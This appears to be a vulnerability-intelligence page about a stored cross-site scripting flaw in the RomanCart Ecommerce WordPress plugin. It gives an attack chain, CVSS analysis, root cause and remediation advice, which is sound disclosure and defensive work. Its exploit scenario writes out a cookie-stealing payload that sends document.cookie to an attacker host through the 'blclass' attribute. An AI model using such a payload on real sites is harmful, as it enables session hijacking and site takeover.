Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain contributor-level WordPress account
-
DeliveryCraft romancart_button shortcode with malicious 'blclass' payload
-
ExploitPublish post or page containing injected shortcode
-
ExecutionVictim (including admin) loads the injected page
-
PersistBrowser executes stored script in victim context
-
ImpactExfiltrate session cookies or perform admin-level actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated WordPress session with at minimum contributor-level role - this is confirmed by the CVSS PR:L (low privileges required) vector. The attacker must have permission to create or edit posts or pages that render shortcodes, which is a standard capability of the contributor role in WordPress. The romancart_button shortcode must be invocable within post content, meaning the RomanCart Ecommerce plugin must be active on the target site. Payload delivery requires a victim user to subsequently load the injected page in their browser (stored XSS - the CVSS UI:N describes the absence of attacker-side interaction, not victim-side; a page visit by the victim is still required). Sites with open contributor self-registration, guest posting features, or untrusted third-party content contributors face substantially higher risk than tightly controlled single-author installations. |
| Impact | The CVSS 3.1 score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) reflects a network-accessible, low-complexity attack requiring low privileges with a Changed scope - meaning the impact crosses the security boundary of the WordPress installation and can affect other users' browser sessions, including administrators. The PR:L requirement is the primary limiting factor: exploitation is gated on possessing at minimum a contributor account, which meaningfully narrows the attacker pool compared to unauthenticated XSS. No EPSS data was provided in the source intelligence, making probability-based prioritization uncertain. The vulnerability is not listed in CISA KEV, and no POC has been identified. For sites that restrict contributor access to trusted authors, real-world risk is moderate. For WordPress installations with open contributor registration or that grant contributor roles to external parties, this is a genuine priority given the potential for stored payloads to compromise administrator sessions. |
| Exploit ScenarioDerived | An attacker registers or compromises a contributor-level WordPress account on a target site, then creates or edits a post embedding a romancart_button shortcode with a JavaScript payload in the 'blclass' attribute (e.g., blclass="x onmouseover=fetch('https://attacker.example/steal?c='+document.cookie)"). Once the post is published, any authenticated user - including administrators - who visits the page triggers payload execution in their browser, enabling the attacker to harvest session tokens and escalate to full site compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 09, 2026
Stored Cross-Site Scripting in the RomanCart Ecommerce WordPress plugin (versions ≤2.0.8) allows authenticated attackers holding contributor-level access or above to inject persistent malicious scripts via the 'blclass' attribute - and other attributes - of the romancart_button shortcode. The injected payload executes in any visitor's browser upon page load, enabling session hijacking, credential theft, or administrative account takeover. No public exploit identified at time of analysis and the vulnerability is not listed in CISA KEV, but the low attack complexity and changed scope (S:C) elevate real-world concern for multi-author WordPress deployments.
RemediationAI
No patched version is confirmed from available data - the CPE wildcard covers all versions through 2.0.8 and neither the Wordfence advisory nor the plugin source code references identify a fixed release. Administrators should immediately check the WordPress Plugin Repository for a version newer than 2.0.8 and upgrade if available, monitoring the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/5d44255b-0615-439d-b166-8f1100f53e3a for patch confirmation. As a compensating control, deactivate the RomanCart Ecommerce plugin until a fix is confirmed - this removes the vulnerable shortcode handler entirely, with the trade-off of disabling ecommerce functionality. If deactivation is not feasible, immediately audit and revoke contributor-level accounts belonging to untrusted users, and consider disabling open contributor registration. A Web Application Firewall (WAF) rule targeting the romancart_button shortcode's attribute fields can provide an additional detection layer but should not be treated as a primary fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS), specifically within the romancart_button_shortcode() function of the RomanCart Ecommerce plugin (cpe:2.3:a:romancartsupport:romancart_ecommerce:*:*:*:*:*:*:*:*). Source code inspection at plugins.trac.wordpress.org confirms the vulnerable logic at lines 141 and 151 of romancart_ecommerce.php in the 2.0.8 release tag - WordPress shortcode attributes such as 'blclass' are passed directly into rendered HTML output without adequate sanitization (e.g., esc_attr() or wp_kses()) or output encoding. WordPress shortcodes are a common injection surface in plugins because attribute values flow from user-controlled post content into page HTML without the same scrutiny applied to direct form inputs.
Know when Romancart Ecommerce gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from Vendor (Wordfence) · only source for this CVE.
CVSS VectorVendor: Wordfence
DescriptionCVE.org
The RomanCart Ecommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'blclass' attribute (and other attributes) of the romancart_button shortcode in versions up to, and including, 2.0.8. This is due to insufficient input sanitization and output escaping on user supplied attributes within the romancart_button_shortcode() function. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-35305
GHSA-6h5g-2c23-pj45
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB